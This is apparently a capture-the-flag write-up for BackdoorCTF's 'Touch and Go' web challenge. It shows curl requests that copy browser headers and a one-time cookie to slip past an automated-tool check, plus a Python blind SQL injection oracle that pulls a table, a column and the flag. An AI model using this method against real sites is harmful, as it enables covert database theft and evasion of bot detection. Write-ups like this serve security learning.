None
Touch and Go
BackdoorCTF - web - 300

Challenge Text

H4x0r is making a new website and has decided to give you beta access! Head over here to register. Flag format: md5_string
http://backdoor.cognizance.org.in/problems/web300/register.php


This was an interesting challenge due to a nice trick for detecting automated tools - see below

$ curl 'http://backdoor.cognizance.org.in/problems/web300/register.php'
<html>
<head>
  <title>Register Here</title>
</head>
<body>
  <h3 class="text-center">Register Now!</h3>
  <form action="./register.php" method="POST">
    <input type="text" name="username" placeholder="Select Username"><br>
    <input type="password" name="password" placeholder="Select Password"><br><br>
    <input type="submit" value="Register">
  </form>
</body>

$ curl 'http://backdoor.cognizance.org.in/problems/web300/register.php' --data 'username=2323lorrp&password=4'
A new user has been created. Go <a href='./status.php'>here</a> to check the verification status or <a href='./login.php'>here</a> to login.

$ curl 'http://backdoor.cognizance.org.in/problems/web300/login.php' --data 'username=2323lorrp&password=4'
Hello 2323lorrp

Visiting status.php returns the below response from check.php...

This user has been validated

But running it from curl...

$ $ curl 'http://backdoor.cognizance.org.in/problems/web300/check.php' --data 'username=2323lorrp'
No automated tools please :)

Okay, clearly it needs something else - here's the "raw" request from firefox...

$ curl 'http://backdoor.cognizance.org.in/problems/web300/check.php' -H 'Host: backdoor.cognizance.org.in' -H 'User-Agent: Mozilla/5.0 ... Firefox/27.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H 'Referer: http://backdoor.cognizance.org.in/problems/web300/status.php' -H 'Cookie: PHPSESSID=0q6ojhjr0oildvlbekmchld5k6; web_300_token=7fad5a2b235e6d516b57ee086d1c8ae7' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=2323lorrp' | gunzip
This user has been validated

Great; that worked... and one more time...

$ curl 'http://backdoor.cognizance.org.in/problems/web300/check.php' -H 'Host: backdoor.cognizance.org.in' -H 'User-Agent: Mozilla/5.0 ... Firefox/27.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H 'Referer: http://backdoor.cognizance.org.in/problems/web300/status.php' -H 'Cookie: PHPSESSID=0q6ojhjr0oildvlbekmchld5k6; web_300_token=7fad5a2b235e6d516b57ee086d1c8ae7' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=2323lorrp' | gunzip
No automated tools please :)

Substantially more futzing around to ensure the request exactly matched, in-order and byte-for-byte, what Firefox sent to dodge any automated tool detectors and something unusual popped up..

>>> import requests
>>> r=requests.get('http://backdoor.cognizance.org.in/problems/web300/status.php')
>>> r.cookies
{'web_300_token': '3cb1d62d376702f3bceaac90089b4c96', 'PHPSESSID': 'mcatihurfjkoam8r1rkut8de37'}

Status.php sets a one-time cookie!

$ curl 'http://backdoor.cognizance.org.in/problems/web300/check.php' -H 'Host: backdoor.cognizance.org.in' -H 'User-Agent: Mozilla/5.0 ... Firefox/27.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'DNT: 1' -H 'Referer: http://backdoor.cognizance.org.in/problems/web300/status.php' -H 'Cookie: PHPSESSID=mcatihurfjkoam8r1rkut8de37; web_300_token=3cb1d62d376702f3bceaac90089b4c96' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=2323lorrp' | gunzip
This user has been validated

While sqlmap may have a way to accomodate this, I gave up on it after a couple minutes and went with a custom solution. The unique piece for this puzzle was just the SQLi oracle as defined below:

def get(username):
    import requests
    r=requests.get('http://backdoor.cognizance.org.in/problems/web300/status.php') # get cookie
    r=requests.post('http://backdoor.cognizance.org.in/problems/web300/check.php',data=dict(username=username),cookies=r.cookies)
    if r.content == 'Please wait for a little while for this user to be validated': return False
    if r.content == 'This user has been validated': return True
    if not r.content: return False # error
    return r.content

Sample Execution

$ python solve.py
len(table_name) = 16
table_name = the_elusive_flag
len(the_elusive_flag.column_name) = 24
the_elusive_flag.column_name = this_column_has_the_flag
len(the_elusive_flag.this_column_has_the_flag[0]) = 256
flag: 9d4dcc5981b17bf37740c7dbabe3b294

Code available on Github

- Kelson (kelson@shysecurity.com)